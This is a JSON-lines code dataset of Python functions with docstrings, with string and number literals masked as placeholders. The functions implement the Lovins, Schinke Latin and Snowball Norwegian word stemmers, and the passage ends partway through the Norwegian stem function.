{"signature": "def _cond_o(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] in {'<STR_LIT:i>', '<STR_LIT:l>'}<EOL>", "docstring": "Return Lovins' condition O.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m13"}
{"signature": "def _cond_p(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] != '<STR_LIT:c>'<EOL>", "docstring": "Return Lovins' condition P.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m14"}
{"signature": "def _cond_q(self, word, suffix_len):", "body": "return len(word) - suffix_len >= <NUM_LIT:3> and word[-suffix_len - <NUM_LIT:1>] not in {<EOL>'<STR_LIT:l>',<EOL>'<STR_LIT:n>',<EOL>}<EOL>", "docstring": "Return Lovins' condition Q.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m15"}
{"signature": "def _cond_r(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] in {'<STR_LIT:n>', '<STR_LIT:r>'}<EOL>", "docstring": "Return Lovins' condition R.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m16"}
{"signature": "def _cond_s(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:2> : -suffix_len] == '<STR_LIT>' or (<EOL>word[-suffix_len - <NUM_LIT:1>] == '<STR_LIT:t>'<EOL>and word[-suffix_len - <NUM_LIT:2> : -suffix_len] != '<STR_LIT>'<EOL>)<EOL>", "docstring": "Return Lovins' condition S.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m17"}
{"signature": "def _cond_t(self, word, suffix_len):", "body": "return (<EOL>word[-suffix_len - <NUM_LIT:1>] in {'<STR_LIT:s>', '<STR_LIT:t>'}<EOL>and word[-suffix_len - <NUM_LIT:2> : -suffix_len] != '<STR_LIT>'<EOL>)<EOL>", "docstring": "Return Lovins' condition T.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m18"}
{"signature": "def _cond_u(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] in {'<STR_LIT:l>', '<STR_LIT:m>', '<STR_LIT:n>', '<STR_LIT:r>'}<EOL>", "docstring": "Return Lovins' condition U.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m19"}
{"signature": "def _cond_v(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] == '<STR_LIT:c>'<EOL>", "docstring": "Return Lovins' condition V.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m20"}
{"signature": "def _cond_w(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] not in {'<STR_LIT:s>', '<STR_LIT:u>'}<EOL>", "docstring": "Return Lovins' condition W.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m21"}
{"signature": "def _cond_x(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] in {'<STR_LIT:i>', '<STR_LIT:l>'} or (<EOL>word[-suffix_len - <NUM_LIT:3> : -suffix_len] == '<STR_LIT:u>'<EOL>and word[-suffix_len - <NUM_LIT:1>] == '<STR_LIT:e>'<EOL>)<EOL>", "docstring": "Return Lovins' condition X.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m22"}
{"signature": "def _cond_y(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:2> : -suffix_len] == '<STR_LIT>'<EOL>", "docstring": "Return Lovins' condition Y.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m23"}
{"signature": "def _cond_z(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] != '<STR_LIT:f>'<EOL>", "docstring": "Return Lovins' condition Z.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m24"}
{"signature": "def _cond_aa(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] in {'<STR_LIT:d>', '<STR_LIT:f>', '<STR_LIT:l>', '<STR_LIT:t>'} or word[<EOL>-suffix_len - <NUM_LIT:2> : -suffix_len<EOL>] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}<EOL>", "docstring": "Return Lovins' condition AA.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m25"}
{"signature": "def _cond_bb(self, word, suffix_len):", "body": "return (<EOL>len(word) - suffix_len >= <NUM_LIT:3><EOL>and word[-suffix_len - <NUM_LIT:3> : -suffix_len] != '<STR_LIT>'<EOL>and word[-suffix_len - <NUM_LIT:4> : -suffix_len] != '<STR_LIT>'<EOL>)<EOL>", "docstring": "Return Lovins' condition BB.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m26"}
{"signature": "def _cond_cc(self, word, suffix_len):", "body": "return word[-suffix_len - <NUM_LIT:1>] == '<STR_LIT:l>'<EOL>", "docstring": "Return Lovins' condition CC.\n\n        Parameters\n        ----------\n        word : str\n            Word to check\n        suffix_len : int\n            Suffix length\n\n        Returns\n        -------\n        bool\n            True if condition is met", "id": "f6562:c0:m27"}
{"signature": "def _recode9(self, stem):", "body": "if stem[-<NUM_LIT:3>:-<NUM_LIT:2>] in {'<STR_LIT:a>', '<STR_LIT:i>', '<STR_LIT:o>'}:<EOL><INDENT>return stem<EOL><DEDENT>return stem[:-<NUM_LIT:2>] + '<STR_LIT:l>'<EOL>", "docstring": "Return Lovins' conditional recode rule 9.\n\n        Parameters\n        ----------\n        stem : str\n            Word to stem\n\n        Returns\n        -------\n        str\n            Word stripped of suffix", "id": "f6562:c0:m28"}
{"signature": "def _recode24(self, stem):", "body": "if stem[-<NUM_LIT:4>:-<NUM_LIT:3>] == '<STR_LIT:s>':<EOL><INDENT>return stem<EOL><DEDENT>return stem[:-<NUM_LIT:1>] + '<STR_LIT:s>'<EOL>", "docstring": "Return Lovins' conditional recode rule 24.\n\n        Parameters\n        ----------\n        stem : str\n            Word to stem\n\n        Returns\n        -------\n        str\n            Word stripped of suffix", "id": "f6562:c0:m29"}
{"signature": "def _recode28(self, stem):", "body": "if stem[-<NUM_LIT:4>:-<NUM_LIT:3>] in {'<STR_LIT:p>', '<STR_LIT:t>'}:<EOL><INDENT>return stem<EOL><DEDENT>return stem[:-<NUM_LIT:1>] + '<STR_LIT:s>'<EOL>", "docstring": "Return Lovins' conditional recode rule 28.\n\n        Parameters\n        ----------\n        stem : str\n            Word to stem\n\n        Returns\n        -------\n        str\n            Word stripped of suffix", "id": "f6562:c0:m30"}
{"signature": "def _recode30(self, stem):", "body": "if stem[-<NUM_LIT:4>:-<NUM_LIT:3>] == '<STR_LIT:m>':<EOL><INDENT>return stem<EOL><DEDENT>return stem[:-<NUM_LIT:1>] + '<STR_LIT:s>'<EOL>", "docstring": "Return Lovins' conditional recode rule 30.\n\n        Parameters\n        ----------\n        stem : str\n            Word to stem\n\n        Returns\n        -------\n        str\n            Word stripped of suffix", "id": "f6562:c0:m31"}
{"signature": "def _recode32(self, stem):", "body": "if stem[-<NUM_LIT:3>:-<NUM_LIT:2>] == '<STR_LIT:n>':<EOL><INDENT>return stem<EOL><DEDENT>return stem[:-<NUM_LIT:1>] + '<STR_LIT:s>'<EOL>", "docstring": "Return Lovins' conditional recode rule 32.\n\n        Parameters\n        ----------\n        stem : str\n            Word to stem\n\n        Returns\n        -------\n        str\n            Word stripped of suffix", "id": "f6562:c0:m32"}
{"signature": "def __init__(self):", "body": "self._suffix = {<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_c,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_g,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_f,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT:action>': self._cond_g,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_z,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_c,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_d,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_bb,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': self._cond_c,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_i,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': self._cond_y,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_c,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_i,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': self._cond_j,<EOL>'<STR_LIT>': self._cond_cc,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_f,<EOL>'<STR_LIT>': self._cond_f,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_k,<EOL>'<STR_LIT>': self._cond_i,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_y,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_l,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_m,<EOL>'<STR_LIT>': self._cond_n,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_h,<EOL>'<STR_LIT>': self._cond_f,<EOL>'<STR_LIT>': self._cond_f,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_bb,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': self._cond_o,<EOL>'<STR_LIT>': self._cond_f,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_y,<EOL>'<STR_LIT>': self._cond_y,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': self._cond_c,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_l,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_p,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_m,<EOL>'<STR_LIT>': self._cond_n,<EOL>'<STR_LIT>': self._cond_q,<EOL>'<STR_LIT>': self._cond_c,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_aa,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_f,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_r,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_bb,<EOL>'<STR_LIT>': self._cond_x,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': self._cond_f,<EOL>'<STR_LIT>': self._cond_e,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self._cond_b,<EOL>'<STR_LIT>': self._cond_s,<EOL>'<STR_LIT>': self._cond_t,<EOL>'<STR_LIT>': self._cond_u,<EOL>'<STR_LIT>': self._cond_v,<EOL>'<STR_LIT>': self._cond_r,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:a>': None,<EOL>'<STR_LIT:e>': None,<EOL>'<STR_LIT:i>': None,<EOL>'<STR_LIT:o>': None,<EOL>'<STR_LIT:s>': self._cond_w,<EOL>'<STR_LIT:y>': self._cond_b,<EOL>}<EOL>self._recode = (<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT:rb>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', self._recode9),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT:end>', self._recode24),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', self._recode28),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', self._recode30),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', self._recode32),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>)<EOL>", "docstring": "Initialize the stemmer.", "id": "f6562:c0:m33"}
{"signature": "def stem(self, word):", "body": "<EOL>word = normalize('<STR_LIT>', text_type(word.lower()))<EOL>for suffix_len in range(<NUM_LIT:11>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>ending = word[-suffix_len:]<EOL>if (<EOL>ending in self._suffix<EOL>and len(word) - suffix_len >= <NUM_LIT:2><EOL>and (<EOL>self._suffix[ending] is None<EOL>or self._suffix[ending](word, suffix_len)<EOL>)<EOL>):<EOL><INDENT>word = word[:-suffix_len]<EOL>break<EOL><DEDENT><DEDENT>if word[-<NUM_LIT:2>:] in {<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>}:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>for ending, replacement in self._recode:<EOL><INDENT>if word.endswith(ending):<EOL><INDENT>if callable(replacement):<EOL><INDENT>word = replacement(word)<EOL><DEDENT>else:<EOL><INDENT>word = word[: -len(ending)] + replacement<EOL><DEDENT><DEDENT><DEDENT>return word<EOL>", "docstring": "Return Lovins stem.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = Lovins()\n        >>> stmr.stem('reading')\n        'read'\n        >>> stmr.stem('suspension')\n        'suspens'\n        >>> stmr.stem('elusiveness')\n        'elus'", "id": "f6562:c0:m34"}
{"signature": "def schinke(word):", "body": "return Schinke().stem(word)<EOL>", "docstring": "Return the stem of a word according to the Schinke stemmer.\n\n    This is a wrapper for :py:meth:`Schinke.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> schinke('atque')\n    {'n': 'atque', 'v': 'atque'}\n    >>> schinke('census')\n    {'n': 'cens', 'v': 'censu'}\n    >>> schinke('virum')\n    {'n': 'uir', 'v': 'uiru'}\n    >>> schinke('populusque')\n    {'n': 'popul', 'v': 'populu'}\n    >>> schinke('senatus')\n    {'n': 'senat', 'v': 'senatu'}", "id": "f6563:m0"}
{"signature": "def stem(self, word):", "body": "word = normalize('<STR_LIT>', text_type(word.lower()))<EOL>word = '<STR_LIT>'.join(<EOL>c<EOL>for c in word<EOL>if c<EOL>in {<EOL>'<STR_LIT:a>',<EOL>'<STR_LIT:b>',<EOL>'<STR_LIT:c>',<EOL>'<STR_LIT:d>',<EOL>'<STR_LIT:e>',<EOL>'<STR_LIT:f>',<EOL>'<STR_LIT:g>',<EOL>'<STR_LIT:h>',<EOL>'<STR_LIT:i>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT:k>',<EOL>'<STR_LIT:l>',<EOL>'<STR_LIT:m>',<EOL>'<STR_LIT:n>',<EOL>'<STR_LIT:o>',<EOL>'<STR_LIT:p>',<EOL>'<STR_LIT:q>',<EOL>'<STR_LIT:r>',<EOL>'<STR_LIT:s>',<EOL>'<STR_LIT:t>',<EOL>'<STR_LIT:u>',<EOL>'<STR_LIT:v>',<EOL>'<STR_LIT:w>',<EOL>'<STR_LIT:x>',<EOL>'<STR_LIT:y>',<EOL>'<STR_LIT:z>',<EOL>}<EOL>)<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:i>').replace('<STR_LIT:v>', '<STR_LIT:u>')<EOL>if word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>if word[:-<NUM_LIT:3>] in self._keep_que or word == '<STR_LIT>':<EOL><INDENT>return {'<STR_LIT:n>': word, '<STR_LIT:v>': word}<EOL><DEDENT>else:<EOL><INDENT>word = word[:-<NUM_LIT:3>]<EOL><DEDENT><DEDENT>noun = word<EOL>verb = word<EOL>for endlen in range(<NUM_LIT:4>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>if word[-endlen:] in self._n_endings[endlen]:<EOL><INDENT>if len(word) - <NUM_LIT:2> >= endlen:<EOL><INDENT>noun = word[:-endlen]<EOL><DEDENT>else:<EOL><INDENT>noun = word<EOL><DEDENT>break<EOL><DEDENT><DEDENT>for endlen in range(<NUM_LIT:6>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>if word[-endlen:] in self._v_endings_strip[endlen]:<EOL><INDENT>if len(word) - <NUM_LIT:2> >= endlen:<EOL><INDENT>verb = word[:-endlen]<EOL><DEDENT>else:<EOL><INDENT>verb = word<EOL><DEDENT>break<EOL><DEDENT>if word[-endlen:] in self._v_endings_alter[endlen]:<EOL><INDENT>if word[-endlen:] in {<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>}:<EOL><INDENT>new_word = word[:-endlen] + '<STR_LIT:i>'<EOL>addlen = <NUM_LIT:1><EOL><DEDENT>elif word[-endlen:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>new_word = word[:-endlen] + '<STR_LIT>'<EOL>addlen = <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>new_word = word[:-endlen] + '<STR_LIT>'<EOL>addlen = <NUM_LIT:3><EOL><DEDENT>if len(new_word) >= <NUM_LIT:2> + addlen:<EOL><INDENT>verb = new_word<EOL><DEDENT>else:<EOL><INDENT>verb = word<EOL><DEDENT>break<EOL><DEDENT><DEDENT>return {'<STR_LIT:n>': noun, '<STR_LIT:v>': verb}<EOL>", "docstring": "Return the stem of a word according to the Schinke stemmer.\n\n        Parameters\n        ----------\n        word : str\n            The word to stem\n\n        Returns\n        -------\n        str\n            Word stem\n\n        Examples\n        --------\n        >>> stmr = Schinke()\n        >>> stmr.stem('atque')\n        {'n': 'atque', 'v': 'atque'}\n        >>> stmr.stem('census')\n        {'n': 'cens', 'v': 'censu'}\n        >>> stmr.stem('virum')\n        {'n': 'uir', 'v': 'uiru'}\n        >>> stmr.stem('populusque')\n        {'n': 'popul', 'v': 'populu'}\n        >>> stmr.stem('senatus')\n        {'n': 'senat', 'v': 'senatu'}", "id": "f6563:c0:m0"}
{"signature": "def sb_norwegian(word):", "body": "return SnowballNorwegian().stem(word)<EOL>", "docstring": "Return Snowball Norwegian stem.\n\n    This is a wrapper for :py:meth:`SnowballNorwegian.stem`.\n\n    Parameters\n    ----------\n    word : str\n        The word to stem\n\n    Returns\n    -------\n    str\n        Word stem\n\n    Examples\n    --------\n    >>> sb_norwegian('lese')\n    'les'\n    >>> sb_norwegian('suspensjon')\n    'suspensjon'\n    >>> sb_norwegian('sikkerhet')\n    'sikker'", "id": "f6564:m0"}
{"signature": "def stem(self, word):", "body": "<EOL>word = normalize('<STR_LIT>', text_type(word.lower()))<EOL>r1_start = min(max(<NUM_LIT:3>, self._sb_r1(word)), len(word))<EOL>_r1 = word[r1_start:]<EOL>if _r1[-<NUM_LIT:7>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:7>]<EOL><DEDENT>elif _r1[-<NUM_LIT:6>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:6>]<EOL><DEDENT>elif _r1[-<NUM_LIT:5>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:5>]<EOL><DEDENT>elif _r1[-<NUM_LIT:4>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>if word[-<NUM_LIT:4>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>word = word[:-<NUM_LIT:4>]<EOL><DEDENT><DEDENT>elif _r1[-<NUM_LIT:3>:] in 